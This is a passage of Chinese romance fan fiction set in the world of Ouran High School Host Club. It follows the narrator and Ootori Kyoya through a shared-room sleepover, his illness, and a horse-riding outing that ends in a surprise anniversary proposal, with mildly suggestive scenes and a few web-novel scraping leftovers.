“大家都有成长哦,变化最大的还是小镜,不过变化太多了反而让人担心。”
我咀嚼的动作一顿,怔然抬眼,总是可可爱爱的植之冢光邦眼里没有笑意,静静地看着我,那目光仿佛能穿透人心。
我吞下饼干,下意识也有些苦恼:“ honey前辈也这么觉得吗?看来不是我一个人的错觉,但是镜夜好像不打算告诉我。”
几个小时之前在凤家的藏书室,我就已经追问过,全都被他不着痕迹的岔开话题。
只说我想知道的话早晚也会知道。
完全是敷衍的套话。
“这样啊。”
我头顶传来轻轻的触碰,我抬头撞入他带着安慰的温柔眼神,抿了抿唇被小孩子外形的honey前辈安慰了。
我后知后觉的红了脸。
有些结结巴巴的说:“其实也还好,我也没有在难过。”
他只是可爱的笑了笑也没有反驳我的话,重新坐回去,分给我一块蛋糕:“那就和我一起吃蛋糕吧,春绯还有一会儿才下来哦。”
我这才发现他刚刚为了安慰我,整个人都站在凳子上,心里软了软,忍不住也跟着笑。
这天晚上我们没有说什么严肃的话题,也没人问我当时怎么会突然离开,这场聚会几乎成了须王环的炫妻大会。
明明在开窍之前都大大咧咧的天然系春绯,居然在他喋喋不休的话语中也会感到害羞。
唯独在他再次提出春绯的365个可爱瞬间视频提案的时候才变了脸。
春绯披散着棕色的长发红着脸跳起来,一拳打在过分得意的须王环的发顶:“都说了我才不要!”
他才安静下来,蹲在角落嘀嘀咕咕。
我端着茶若无其事经过,微微侧头隐约听见他的声音。
“明明岳父大人已经答应了qaq……”
我浅浅抿了一口茶,掩饰唇角的笑意,春绯的父亲和须王在春绯的事情上还真是过分合得来。
大家都是提前安排好工作专门抽出时间过来的,在吃完晚饭后双子就打起了哈欠,须王环顺势让女仆带我们去安排好的房间。
他说完后还特意朝我眨了眨眼睛:“我有精心布置你们的房间哦。”
春绯似乎有什么话想说,但还是欲言又止的被他拉走。
我起身的动作顿住,茫然地看向同样起身的凤镜夜:“今天不是聚会吗?怎么突然要留宿了?”
他同样茫然的看着我:“嗯,我忘讲了吗?这次聚会时长两天,明天才是重头戏。”
我非常确定他没有和我说过,并怀疑他是故意的。
不过我也不讨厌和大家相处的感觉就是了。
我朝故意捉弄我的凤镜夜皱了皱鼻子:“算了,看在明天还可以和春绯见面的份上,原谅你了。”
凤镜夜悠然跟了上去。
是吗?
不枉他提前把在京都试婚纱的春绯提前接回来了。
当我跟着女仆上楼,停在同一个房间前和他面面相觑的时候发现我还是原谅早了。
我勉强笑着看像女仆小姐:“我们是安排在一个房间了吗?”
她点点头,然后欲盖弥彰的解释:“因为最近有房间漏水需要修理,所以没有更多房间可以更换了。”
我沉默的看着她随着我的注视变得通红的脸,在心里扎了扎须王环的小人,还是放过了无辜的女仆小姐,打开门走了进去。
开门的瞬间冲入鼻腔的是浓郁的花香,房间里唯一一张双人床洒满鲜红的玫瑰花瓣,花瓣拼出一个爱心的形状。
我闭了闭眼睛再次睁开,仍然是多到刺目的玫瑰花瓣。
让我和凤镜夜在这样的房间里待一晚上?
目前为止,亲密程度仅限于接吻的两人沉默的对视一眼,我看到他眼中不作伪的惊讶,暴躁的心情缓和了点。
我叹了口气环顾了一圈,发现这个房间连可以临时作为睡觉工具的沙发都没有,心里又扎了扎须王环的小人。
完完全全的早有预谋。
我心里记着小本本,面容平静的提议:“我去看看有没有多的被子,今天晚上我打地铺。”
半晌,没有得到回应,我转头,看到他疲惫的捏了捏鼻梁。
“如果是环做的话,我们应该借不到多余的被子。”
啊,说的有道理,还真是他能做出的事情。
我转头如临大敌的看着铺满鲜花的大床:“……要不就一起睡吧,反正这张床够大。”
“好。”
虽然提议飞快得到他的赞同,但他的速度快到我怀疑他早有预谋,我狐疑地朝他看去。
凤镜夜微微仰头解开领口的纽扣,眼睛垂下看向我:“你先洗澡还是我先洗,洗漱用品和换洗衣服应该也已经准备好了。”
他理所当然的态度,让我的思维也跟着跑。
从对须王环的腹诽中回神,后知后觉的被房间里的气氛弄得有些不自在,谁先洗澡这种问题在这种时候也变得微妙了。
“啪!”
我拍了拍脸迅速从衣柜里拿出给我准备的洗漱用品冲进浴室,才来得及回他的话。
“我先!”
凤镜夜站在精心点缀的房间里,一颗颗慢条斯理地解着外套纽扣,听着从浴室传出的模糊声音,唇角忽然勾起。
价值不菲的定制西装被随手扔下,他胸口解开了两颗扣子,路过镜子的时候,瞥了一眼又不经意扯了扯。
“还是会害羞吗?”
这种情况下我也没有泡澡的兴致,冲完澡裹着对我来说过大的浴袍走了出去,没走两步我就开始后悔,应该拿旁边成套的家居服才对。
我尽量不去看房间里的另一个人,朝衣柜走去,看出的手和另一只微凉的手碰在一起,我顿时手忙脚乱的收回来,还没想好怎么面对他,他已经拿了另一套洗漱用品进了浴室。
听着浴室门被关上的声音,我脊背松弛下来,撇着浴室那边模糊的黑影迅速穿上家居服。
转身才发现床上让我不知所措的花瓣已经被清理干净,我爬进大床里侧占据一小块位置,把自己裹了起来。
闭上眼睛催眠自己尽量在他出来之前睡着。
房间的熏香很好闻,床也很舒服,我闭着眼睛逐渐生出睡意,浴室那边的水声也停了。
那边安静了一会儿,在我朦朦胧胧的意识里传来一声呼唤:“小一?”
我闭着眼睛睡意和理智互相拉扯,那倒似乎带着尴尬的声音再次响起:“我的浴袍好像拿错了。”
拿错了?
我恍惚着想,浴袍怎么会拿错呢?
又感觉有点不对劲。
马上要沉入深处的意识忽然报警,我从床上弹坐起来。
是我拿错了呀!
难怪我穿的那件这么大。
我扭头看向浴室,视野里却忽然闯进凤镜夜惊愕的脸,他不知什么时候已经走出浴室,一只手拽着腰间的袍子,浴袍的长度才刚过他大腿的一半。
附着一层薄肌的胸膛就这样赤裸裸的出现在我眼前,从贴着脖颈的黑发上滑落的水滴,顺着微微鼓起的胸膛下滑,略过陡然收束的线条,没入腰间被拉扯着的布料。
我彻底清醒过来了。
连忙从面对着浴室的方向转身,用力过猛之下,身体不稳倒了下去,脑袋咚的一声磕上实木吃材质的床柱。
慌乱中我抱住脑袋,身体蜷缩成一团:“好痛!”
“小一?!”
混乱中我听到他提高的声音以及迅速靠近的脚步声,我倒吸一口气,脸颊憋得通红,坚强的伸出一只手,做出禁止的手势。
“等等,我没事,你先去穿好衣服!”
伸出的手被带着水润湿气的大掌扣住,紧接着在床上蜷缩成一团的我被拽了起来,猝不及防对上他严肃的视线。
他飞快在我脑袋上查看,问了几个问题。
看他这么正经,我惭愧的低下头小声回答:“嗯,没事,这里不痛。”
他忽然捧住我的脸抬了起来,刚才粗略看了两眼的景象,再一次近距离的出现在我眼前,我挣扎着动了动脑袋,却被捧得更紧。
太近了。
胸肌……胸肌太近了。
这个角度稍微动动就能碰到那片冷白的肌理,我不好意思直白的说出来,只好尽量将脑袋向后靠。
凤镜夜似乎以为我挣扎着,是不想听他训话,捧着我脑袋的力道更重,直到慌乱间我的嘴唇擦过什么凸起,他的声音戛然而止,落在我脑袋上的力道也放松下来。
我趁机向后退一步,跪坐在软软的床上,抬头看着他,诚恳道:“我们还是这样说吧……?”
我看着单手遮住脸颊的凤镜夜沉默了一下,忽然看到刚刚在挣扎中落下了一边肩膀的浴袍,那片淡色的胸膛蔓延上浅浅的红色。 (看了一眼而已,审核放过我吧^^; )
我放在腿上的时候一下收紧,支支吾吾:“我……我已经知道错不会再莽撞了,脑袋也没有事,你还是快点去换衣服吧,别感冒了。”
沉默。
以及从那边传来的浅浅喘息。
同样是呼吸声,听着他的声音后背好像划过一道电流,让我不敢再看那边。
我慢吞吞的爬到原来睡的位置,重新把自己整个裹进被子里,闷闷的说:“晚安。”
过了好一会儿才传来他的声音。
“……嗯。”
刚刚的睡意不翼而飞,我闷在黑暗中,轻轻的脚步声以及窸窸窣窣的布料摩擦声不受控制的传入耳中。
被子里的温度好像有点热了,我动了动脑袋,又在床另一边凹陷下去的时候僵住不动。
床和被子足够大凤镜夜躺好之后,我这边的被子也没有感受到拉扯,我在暗中缓缓吐气,想要将脑袋伸出去。
床的另一边却传来微妙的响动。
第89章
霓虹现在还是春天,房间的窗户敞开,夜风拂动厚重的窗帘,露出闪烁着星子的夜空。
专为富人打造的住宅区自然十分安静,只有微弱的虫鸣从远处隐隐约约传来。
欧式厚重风格的房间里熄了灯,只剩下一盏正对着窗的墙壁上亮着一盏罩着复古金属灯罩的昏黄壁灯,隐约勾勒出床上凸起的两道身影。
一大一小。向额
我蒙头躲在被子里, 呼吸喷洒在狭窄的空间,加重了感官中的闷热与窒息, 却仍然僵立不动。
所有注意力都落在床铺另一边的状况。
那边应该是凤镜夜的位置,传来细微的布料相互摩擦的声音,在寂静的夜中被放大了数百倍,并伴随着偶尔泄露出的微妙喘息,实在让我不能不多想。
我就着蜷缩在被子里的动作啃了啃指节,瞪大眼睛,呼吸都不敢用力,他这是在自/慰?
从那边传来微妙的声音似乎在确认房间里的另一人已经睡着后更加肆无忌惮,比刚才在床边更加……的压抑声线像有意识一样钻进我的耳膜。
不……不会吧!
柔软的床垫微微颤动。
果然就不该顺着须王环的安排和凤镜夜睡一个房间,说起来凤镜夜确实已经是一个成熟的男人了。
我脑海中不受控制浮现他浴袍遮不住的胸膛……
我狠狠闭上眼睛,尴尬又害羞的蜷缩成一团,心神不宁的在这一小块闷热潮湿的空气中催眠自己尽快入睡。
睡吧,睡了就不用面对这么尴尬的情况了。
我在心里默念着这句话,比起被发现还醒着的尴尬,现在这样闷热的环境反倒也不那么难以接受。
过了一会儿, 那边的声音忽然停下。
我闭着眼睛胡思乱想,好像还挺快?
快,快点好啊。
我慢腾腾的抬头把口鼻伸到被被子边缘深深的吸了几口新鲜空气,我如鱼得水一样对充满新鲜空气的外界充满欣喜,连身上的被子都觉得太闷了,想偷偷把自己拔出去。
冷不丁寂静的房间里忽然响起凤镜夜的声音。
“小一?”
我脑袋嗡了一下,身体下意识装死,像一条死鱼一样屏住呼吸默默听着从那边传来的响动。
被子牵动,床垫朝中间凹陷,那道声音忽然出现在我的脑后。
“小一。”
我后脑勺一麻,表现得向背后有鬼的影片演员,冷汗都差点冒出来。
隐约有一道黑影将我覆盖,我在黑暗中无声尖叫,直到探出小半张脸的被子被扯开,我僵硬的身体直接暴露在空气中。
现在是不是直接醒来比较好!
醒来之后我要说什么啊!
我颤抖着眼皮,刚要破罐子破摔直接睁眼,肩膀就被先一步轻柔的掰了过去。
晚了一步。
我僵硬的被他摆成平躺的姿势,紧接着腰腿都被轻轻触碰,直到连我的双手都被安排了位置,他才满意的停下来。
原……原来是帮我调整睡姿啊(开朗。
早知道就不这么紧张了,热得汗都出来了,哈哈。
我维持着平躺双手交叠在小腹的姿态安详的酝酿睡意。
十分钟后,我崩溃的用鼻子深深吸气,为什么他还在看我啊!
有床却睡不着,这就是绝望吗?
不,更绝望的事情是他又发出低低的喘息,声音中带着细微的痛苦,逐渐朝我靠近。
我随着他越发靠近的呢喃内心矛盾,交握的双手互相紧扣,强忍着一把把人推开的冲动,耐心等待着他到底要干嘛。
听了一会儿,我逐渐皱眉。
他好像是在不舒服?
小声压抑的喘息离得越近,其中隐忍痛苦的意味隐约也能辨认,衣料摩擦的声音是身体不受控制蜷缩造成。
想到这里,我不再装睡来描绘他的动作,睁开眼睛看向身侧。
泛着热意额头同时抵住我的肩膀,在昏暗的壁灯下,他纤长一条的身体可怜兮兮的缩成一大团黑影。
抱着手臂的手指不断收紧,看的出力道极大,几乎要扣进皮肉。
却只有额头触碰了我的身体。
他急促的呼吸打在我的手臂,不再发出声音,只有仍然急促起伏的胸膛显露出他并不那么平静。
我忽然想到在藏书室充满油墨清香与紧绷气氛的角落。
他说他生病了。
……果然是生病了。
能让总是维持着整洁从容形象的家伙变成可怜兮兮的……
小狗。
我看着他小心翼翼贴在我肩膀上的黑色脑袋,忽然冒出这个形容词。
原本我顾忌着他的自尊不想让他发现我根本没睡着。
可耳边的呼吸过了很久都没有平复,甚至有愈演愈烈趋势的时候,我忍不了了。
我倏然从床上坐了起来,转身跪伏着朝凤镜夜的方向靠近了一点,手掌摸向他的额头,温度有点高但比想象中好很多。
但出了很多冷汗。
我顺着他的额头抚向他的下巴,在黑暗中冷静的说:“药呢?”
他似乎被我的动作惊住,半晌没有动作,在我说话后猛然惊醒身体紧绷着明显弹了一下,然后避开我的手想要回到原来的位置。
他松开扣在手臂的手指,带着血迹的指尖挡在脸上,声音沙哑:“我没事。”
“很晚了,快睡吧。”
都这样了还在演什么从容!
我无言的升腾起一股怒意,不再收敛力道强行按住他的肩膀,抬脚跨过他的身体上方,居高临下的借着微弱的灯光看向他。
细看之下他的状态比我想象中还要差。
脸色是病态的苍白,垂落的黑发有一部分黏在额头,胸口急促起伏,被我按住的时候还蹙着眉将头转向另一侧。
一副非暴力不配合的样子。
甚至还能分出心思关注我。
“你乖点快下去,这样不好,我真的没事,等会儿就好了。”
我闻言立即将悬空的腿跪坐在他身体两侧,变本加厉的拉近距离,伸手将他的脸掰回来,捏着他的下巴阻止他躲避的动作。
我让他看着我:“药。”
他感受到身上被施加的重量,叹息般喘了口气,黑眸第一次掀起直勾勾的看着我。
“你好不容易和我亲近,我不想让你不开心。”
我气冲冲的朝他说:“那你看我现在像是开心吗?”
他顿住,只是眉眼间的无奈更加深一层,眼神有些抱歉。
看得我心里发堵。
五年之前他还是在学校中受人追捧的财阀公子,现在就连要继承家业的梦想都要实现了,却成了这幅样子。
我有些生气,却不知道针对谁,沉默一下,只好恶狠狠的重复的:“告诉我药在哪里,你都说看过医生了,肯定有药吧!”
他用纵容的眼神看着我,黑眸闪动,最终还是妥协的指了指进门时边柜上的托盘的:“环这里有备用。”
我立即跳下床,打开从进门开始就忽视托盘上的小盒子,里面果然有几个小瓶子,我看了看干脆一股脑都拿着,朝床边奔去,跑到一半又顿住返回去摸了摸保温壶里的水。
凤镜夜单手支撑着身体抬起身体注视着她的动作,眸中的脆弱褪去,染上点点笑意,又在她带着药和开水回来的时候重新变回虚弱的模样。
我扶着他坐起来,把几个药瓶捧着拿到他面前,眉头紧锁:“快吃药,然后好好睡觉。”
这次他没再反抗,从其中挑选出几个药瓶倒出胶囊混着清水咽了下去。
他喝完朝我弯了弯湿润的唇,黑发贴在脸上,竟然显得有几分乖巧。
我却回忆着刚才他生疏的动作,狐疑的问:“你之前都有在乖乖喝药吗?”
他让开了位置,示意我上来,只是说:“有小一在我一定能按时服药,就是吃药后头很疼。”
他期待的看着我。
我沉默着从另一边爬上床重新在隔着一定距离的地方躺好。
凤镜夜失落了一瞬,又忍不住开心,她果然还是很在乎他。
其他的他们还有很多时间慢慢来。
他躺了下去,忍着脑袋里的胀痛,唇角含着笑意闭上了眼睛,忽然他睁开了眼睛转头看向另一头黑乎乎的脑袋。
被子的手被小了一圈的手捏住指尖,他试探着反手将其整个包裹进手掌,过了会儿又松开手插.进指间与她十指相扣。
就在他还想要捏捏那软乎乎的指尖时,手臂忽然被锤了一下,那头传来含含糊糊的声音:“快睡。”
“嗯。”
原本以为这样折腾的晚上我会睡不好,结果竟然一觉到天明,醒来之后精神饱满,除了左臂长时间保持一个姿势有些酸痛之后没什么不舒服。
倒是凤镜夜经过昨天晚上的事,他脸上是遮掩不住的苍白,冰冷的眉宇倒是柔和了不少。
看起来心情也不错。
我打着哈欠坐在餐桌前,朝春绯招了招手:“早上好啊。”
她不顾须王环的尔康手坐到我身边,兴致很高:“日安,昨天晚上休息的怎么样?”
我夹早点的动作顿住一瞬,手里一空,一碟选好的餐点被人放到我面前,与之一起的还有一杯牛奶。
我自然而然的收回手,同样拿了一杯牛奶放到凤镜夜面前,嘴里塞了勺蒸蛋,满足的说:“除开那家伙的自作主张之外,还算不错。”
不经意路过的须王环背影一僵,加快了脚步。
春绯笑了起来:“说起来我准备了很多新学的糕点,待会儿可以带去马场,玩累了可以吃。”
我才知道原来今天的活动是去骑马。
“哇,好期待,说起来我还没有骑过诶。”
另一边的凤镜夜自然而然的加入对话:“难得的机会,我可以教你,有兴趣的话你也养一只小马好了。”
我转头看他,眼神亮了:“可以吗?”
听起来很帅气啊。
“当然可以,凤家也有开设马场。”
他把挑选的柑橘味点心递过来,我顺口叼住嚼嚼嚼,撑着脸颊说:“那我想自己去选,可以吗?”
凤镜夜又极其自然的投喂一块,摸了摸她的头发,动作像撸一只小动物。
“我们可以先去挑选,再和大家汇合。”
我欢呼一声,对马场之行充满期待,但还没有忘记盯着他按时吃药,在大家陆续出发的时候,我拉着他到无人的角落,鬼鬼祟祟的从包里掏出药瓶塞给他。
又左右看了看,催促他:“到时间了,快吃。”
我两只手捧的药瓶,他一只手就全部拿住,顺从的被我推到角落,低头含笑看着我没有动作。
我警告的瞪他一眼,对监督不听话病人有种莫名的责任感:“不许蒙混过关,你答应我的。”
他倒出药片仰头混着清水吞下,然后陡然靠近,湿润的唇轻触我的鼻尖。
“只是觉得小一这样很可爱,忍不住多看两眼。”
我吸了口气,抵挡住他的情话攻击,推了推他的肩膀:“好了再晚他们该等不及了。”
凤镜夜没有用强行禁锢的姿势,他只是沉默着用他的影子将我笼罩,融化成墨色水潭的黑眸静静的看着我。
“没关系你拉着我的时候,他们都看到了。”
“!”
我脸颊涨红,明明是他不想让其他人看见他服药,为什么倒霉的是我啊!
我转身要走。
他却将额头搁在我的肩膀上,扭头看着我:“比起那个,我想和小一单独相处一会儿,早上从醒来开始就一直被打岔呢。”
“而且刚才的药好苦。”
我沉默了一会儿:“……真的很苦吗?”
他轻笑着凑过来:“小一也替我尝尝好不好?”
这天的清晨是由橘子味的点心、角落漏下的阳光、由目光组成的怀抱以及湿润微苦的吻组成。
“……果然很苦。”
“镜夜!快点啦,我们要出发了!”
第90章
马场在郊区。
我下车后手搭在眼睛上朝马场观望, 还没进去就嗅到了空气中格外浓郁的青草以及动物的气息,在被高大建筑圈起来的赛马场入口前已经排了长队。
双子的身影着出现追逐着出现在几十米开外的冰激凌摊位前,这种时候还在吵吵闹闹的表演兄弟情,引来不少注视。
我眼角抽了抽装作不认识移开视线,朝被游客排队的队尾走去:“这么多人啊,感觉很热闹。”
我刻意没有等凤镜夜一起,借着排队的行动和他拉开了点距离。
身后投射在背上的目光有些不容忽视,我抿了抿破了个小口的唇, 有些愤愤,谁让他当时就是不松开,害得他们差点被找来的须王发现的!
“小一。”
身后有追上来的脚步声,我默默加快了脚步,却没发现其他人没有跟上来。
手腕忽然被人抓住。
紧接着脸颊被什么冰凉的东西碰了碰。
我听到凤镜夜清冷的声音里带着微弱的笑意:“那边的私人马场今天空出来了,跟我来。”
我顿了顿,脸颊涌上一股热流,我转头看着他脸上的笑,眼神看到那边的竞马比赛宣传:“……我当然知道了,只不过对竞马有点好奇而已。”
他顺着我的目光看过去,海报上单手勒马戴着牛仔帽的古铜色肌肉男让他的目光微凝。
我感觉手腕上的力道陡然加重, 猝不及防的“嘶”了一声, 眼睛里面聚起生理性的泪水, 有点气冲冲的朝他喊:“你先放开我,好痛!”
对着某处眼神逐渐黑沉的凤镜夜迅速回过头,对上那双雾蒙蒙的眼眸中要落不落的泪珠整个人仿佛被打了一拳一样怔然,然后火燎了一样放手。
他脸上的寒冰破开,陡然不知所措起来,最终单膝俯身蹲下来, 拖住那只手腕查看。
我板着脸让他自己看他做得的事。
纤细的手腕上浮现一圈明显的指痕,并且还在朝青紫的方向加深,在苍白的肤色下显得格外严重。
我看了一眼也有些惊讶,试着转了转手腕,只有些微微的刺痛。
还好,只是看着有点严重而已。
过了会儿我也不那么生气了。
后知后觉的发现我们俩这样的姿势有点令人误会,有人经过的时候还说了声“祝你们幸福”,我瞪大眼睛用力抽了抽被轻抚的手腕。
没抽出来。
我瞪着凤镜夜黑色的发顶:“快放开我,我已经没事了。”
他没出声,圈着手腕的掌心微微收紧,又克制着不让人感到难受的程度,低头在指痕上轻吻。
手腕上细腻的皮肤微微颤抖。
紧接着他像是听不到我的声音一样,更多的吻落了下来。
手腕上轻微的刺痛被另一种更加柔软的触感替代。
我被握住的手逐渐紧握成拳,努力屏蔽奇怪的感觉,思索着是暴力叫醒还是暴力叫醒他呢?
也许是危机意识在警报,在我下手之前,他抬起了头,那双黑色的凤眸充满歉意小心的看着我:“你在这里等着我不要动,我去借一下医药箱。”
我:“……”
我迟疑的看向手腕,难不成实际上很严重?
春绯的声音带着茫然:“那个……你们在做什么?我们要准备进去了哦。”
我陡然清醒,不,不要被这家伙带偏了啊!
我三两步跑过去抓住凤镜夜的手臂,朝已经拿出医药箱的工作人员歉意的摆摆手,无言的带着人就想要离开。
“好了,好了,我没事,我们快和大家一起去进去马场吧。”
他跟着我的动作走了两步,反手和我十指相扣:“你不去看了吗?”
看什么?
凤镜夜推了推眼镜重复一遍:“不去看竞马了吗?”
我顺着他的手指看向刚才随口说的竞马海报,海报上古铜色肌肤的壮汉爽朗的笑着露出洁白的牙齿,身上块垒分明的肌肉上的汗水闪烁着耀眼的光泽。
我好像知道他在说什么了。
转头盯着他一本正经的脸研究了一会儿,在那双黑眸终于出现几不可查的紧张时,噗嗤一声笑了出来。
“你到底在想什么啊,我是会专门为了选手去追这种比赛向的人吗?”
海报上的壮汉应该也算是英俊的类型,属于深肤色的运动系壮汉,完全和肤色浅淡面容俊秀的凤镜夜是截然不同的两种类型。
我点了点下唇,又有点若有所思,喃喃自语:“不过如果是少年感的运动系……小太阳的那种类型,应该还挺帅气的诶。”
我出神了一刹那,总觉得脑子里好像闪过了一张脸,再仔细想却怎么也想不起来了。
那不会是……
我不知什么时候看到的明星吗?
凤镜夜自动忽略了她最后一句话,心情迅速由阴转晴,还是坚持朝工作人员要来医药箱为她手腕上药包扎。
然后牵着她的手一起离开。
“果然是不喜欢那种和我完全不同类型吗?”
我活动着手腕转头:“嗯?你说什么?”
凤镜夜自然而然的从双子怀里挑选了柑橘海盐口味的冰激凌塞到她手里,若无其事:“吃冰激凌吗?”
说来也很奇怪,不知道什么时候开始,我对所有柑橘口味的甜品毫无抵抗力。
我毫不犹豫的点头:“吃!”
常陆院光凑过来眼尖看到了我手腕上的纱布:“啊嘞?这是怎么了?”
常陆院馨趁机从向哥哥的冰激凌碗里挖了一大勺,在他提高的声线中塞进嘴里,嘴里哈着白气凑到我面前,拎着手腕看了看。
“哇,刚刚受伤了吗?那还怎么骑马?”
我默默抽回手,想解释这完全是因为凤镜夜紧张过度,实际上我的手腕完全没有任何问题。
凑过来的两人就被须王环从后面勒住脖子拉开了。
我感觉到凤镜夜的身体似乎因此放松了一点,若有所思的转头看了他一眼。
须王环打着哈哈,带走两人:“哎呀你们两个不要随便捣乱,小心镜夜揍你们啊,去骑马好了,我们来比比看谁先跑完一圈。”
“切——镜夜才不会,还有大少你快点放开,光好像要喘不过气了。”
“咳咳咳(虚弱)。”
须王环:“纳尼!不要死啊——”
春绯扯了扯身上已经换好的骑装,无奈的凑到我身旁:“待会儿我能和你们一起吗?”
“那几个实在是太吵了。”
我忍俊不禁的点点头,脑袋却忽然被按了按,我仰头看向身后的凤镜夜。
他已经换好了骑装,长至小腿的马靴包裹着修长的腿,牵着一匹格外神骏的白马走过来,看我的眼神有些不赞同:“你受伤了,我带你一起骑。”
“不要。”
我无情拒绝,眼神已经被他牵着的马吸引,忍不住想靠近,又有点踟蹰。
“好不容易来一趟,我也想试着自己骑。”
我小心翼翼向前一步,那匹马看了我一眼甩了甩头有些不安。
“亚兰很怕生,不过它是这里最最帅气的马。”
凤镜夜握住我的手带着我缓缓靠近,然后轻轻触碰亚兰的鼻背额头,手下的触感很顺滑但毛发硬硬的,还有些温热。
摸了两下我有些意犹未尽。
凤镜夜松开了我的手,垂眸看着我:“我带着你可以尝试跑起来的感觉哦。”
可恶,这绝对是他的陷阱!
我按住摇摇欲坠着倾斜向凤镜夜的理智,听到自己不由自主发出声音:“……好。”
我转头看向春绯,发现她骑在马上被须王环牵着走了,她注意到我的视线,朝我露出灿烂的笑容,手掌放到嘴边:“环前辈要教我骑马,小一和镜夜前辈玩得开心哦。”
“诶?”
刚才不还说须王那边吵吗?
“春绯很还是很敏锐。”
我茫然转头,腰间忽然一紧,被抓着腰抱了起来放到马背上,他拉着缰绳翻身坐到我身后,带着我的手一同抓住马鞍。
骤然拔高的视野让我情不自禁吸了口气。
过了会儿才问他为什么这么说。
他的手穿过我身体两侧轻驾熟路的握着缰绳,让亚兰慢慢走了起来,载着我们逐渐偏离大家所在的位置,来到马场边缘的森林附近。
然后她他松开了一只手,让亚兰自己四处行走。
我得不到回答,有些不爽,想转头看他,又不敢在马上有大动作,就连转身的动作都小心翼翼。
被蓄谋已久的家伙含住了下唇。
我眼睛睁大,扶着马脖子的手倏然紧张得收紧,亚兰似乎有些不悦的打了个响鼻,我下意识松开手向后拽住了罪魁祸首的胳膊。
为什么要现在……
我脊背僵直着维持着向后转头的姿势,手指紧扣他的手臂,心跳因为紧张跳的很快。
我抓着他的胳膊扯了扯,偏头在喘息中断断续续的说:“不行,这样很危险!会掉下去的!”
腰间缠上一只手臂帮我稳住身体。
被躲开的吻黏黏糊糊的落在唇角,紧接着又亲了上来。
“不会掉下去的,我抱着你。”
我感觉自己像是被一只阴郁色鬼缠上了,虽然这只鬼很帅让人心动,但也顶不住他一直没完没了的亲个不停啊!【你现在阅读的是 】
90-100
第91章
腰肢被紧扣着和他的腰腹贴在一起动弹不得。
我摸索着将手指插进他的发间,惩罚似的往后扯了扯,咬牙切齿:“会被看到的!”
这里不仅仅有同行的朋友还有值守的工作人员啊!
想到待会儿出去的时候还要和他们再见面,我眼前一黑。
他探出手蒙住我的眼睛,声音沙哑, 胸腔的震动通过紧贴的后背清晰的传递过来:“我帮你挡住, 不会看到的, 你乖一点。”
我翻了个白眼,想说什么,有什么东西忽然在耳边炸开。
我的手被拿了下来,有什么冰凉的东西穿过无名指,圈住指根。
他松开盖住了我的眼睛的手,同时黑眸期待又专注的看着我,我们身上都是迸溅的纸片彩带,公关部众人不知什么时候摸了过来站在四周看着我们,齐声说:“五周年快乐!”
我一怔。
是这一天吗?
我试图回忆, 却在他仿佛能吸入人心的黑色旋涡中回忆不起来。
他带着用戴着同样钻戒的手和我十指相扣,与我额头相抵:“在分开的这几年,我越是回忆就越是自责,就会更加明白我早就喜欢上你。“
“五年里, 每一次在得到你的回复我都在庆幸, 并且祈祷下一次也能保持联系。”
我被迫注视着他的眼睛。
五年前被所有人祝福的是春绯和须王, 我只是无关紧要的旁观者。
而五年后的现在变成了我和镜夜。
我动了动唇想要说点什么,却被捧着脸的手指按住唇角。
他总是带着凉意的手很大,从中传来很细微的颤抖,让我安静下来。
“小一遵守约定回来了,我好开心。”
他顿了顿,小心翼翼的说:“这是不是代表你还喜欢我?”
听到这里我有些疑惑。
凤镜夜看着她的表情,心里一紧,后背紧绷着甚至出了些汗,只要想到她吐出的是拒绝的话,心脏就仿佛被一只大手攥住,连骨头缝里都带着痛意。
我摸了摸她的额头又摸了摸自己的:“没发烧啊。”
那……
“在你的认知里,我是会和不喜欢的人牵手、接吻、住一个房间的家伙吗?”
他有些阴郁的表情怔住,然后逐渐露出一个和少年时一样的笑容,他紧紧的将我抱进怀中:“太好了。”
过了会儿他又重复一遍:“太好了。”
她没有放弃我。
真是太好了。
她还喜欢我……真是太好了。
·
我平躺在水面,手臂在微烫的水流中轻轻摆动,带动身体在其中晃晃悠悠的飘荡。
脑袋上搭着一块湿毛巾,身上临时购买的泳衣有些不太合身,我捏着胸口的布料往上提了提。
温泉池外传来轻快的脚步声。
我慢悠悠的转头看去,在水中吐了几个泡泡,伸出泡得发红的手臂:“你们来了。”
店长甩了甩金色的长发,大大咧咧的揽着春绯的肩膀走过来,把浮在水面的我推开和春绯一起坐了下来。
我朝另一边划拉了几下,默默地飘在她们,看店长不断调戏春绯,而被占便宜的家伙根本没意识到。
我在她把手伸向春绯脑袋的时候游了过去。
我顶——
“噗——”
被痛击小腹的店长惨叫一声,面朝下倒进水里,我嫌弃的把她踹去另一边。
我摸了摸春绯手感超好的头发,郑重道:“春绯记得要离这家伙远点!”
一道阴影从背后投到我们身上。
店长阴沉着脸,手指抓向她的咯吱窝:“该被远离的应该是你吧!可恶!下手这么重,我吃进去的帝王蟹都差点吐出来啊!”
我在水里挣扎,朝春绯伸出一只手:“救命——”
春绯捧着脸看着我们,笑了起来,也跃跃欲试起来。
半小时后,被单独包下的温泉池里漂浮着三条人影。
我双手搭在小腹安详,额头上的毛巾不翼而飞,带着狼狈的喘息闭上了眼睛。
旁边挺尸的店长拿了一杯清酒,张口倒进嘴里,声音还有狂笑后的沙哑:“还好我有先见之明包场了,不然绝对会被围观。”
“对了,说到这里,你这家伙最近到底怎么回事,说说吧。”
我打了个哈欠,从水里坐起来,摸了摸通红的皮肤:“好像有点泡过了,我先走了。”
“春绯,抓住她。”
“抓住了!”
我沉默的看向春绯发出不可置信的声音:“春绯——你学坏了?”
“喂,我还在这里哦。”
店长和春绯一左一右把我夹在中间。
“说说吧,趁我现在心情好给你出出主意好了。”
春绯投过来担忧的眼神。
我无言,店长明明是想八卦吧。
我看向水面,一点点把自己沉下去,用毛巾搭住脑袋遮掩住脸上的表情,犹豫的说:“其实也没什么大事……”
“你们确定要听吗?”
“啧,磨磨唧唧。”
店长倒了杯酒放到我嘴边:“快说。”
我默默探头喝了,眯了眯眼睛:“其实是因为……”
因为经历过马场那天后,我自认为和镜夜算是重新表明了心意,互相都是爱着对方没错。
但攻略进度却还是差一点。
之后不管我怎么亲近,再怎么表达心意,都没有丝毫变化。
而且……最近连亲近都少了。
“什么!你说他不愿意给你[哔—— ]”
“什么?镜夜前辈对你始乱终弃?”
两人的声音有点大,我似乎听到浴池外传来奇怪的响动,缓缓用手盖住了脸颊。
啊,一定是被店员听到了。
我痛苦的闭上眼睛,小声说:“不是这样,你们冷静点,小声!小声!”
我明明不是这个意思。
“我只是说他最近很忙,我找不到机会……反而感觉关系比在告白之前还冷淡。”
毕竟睁眼他已经出门了,晚上我睡了之后他才回来。
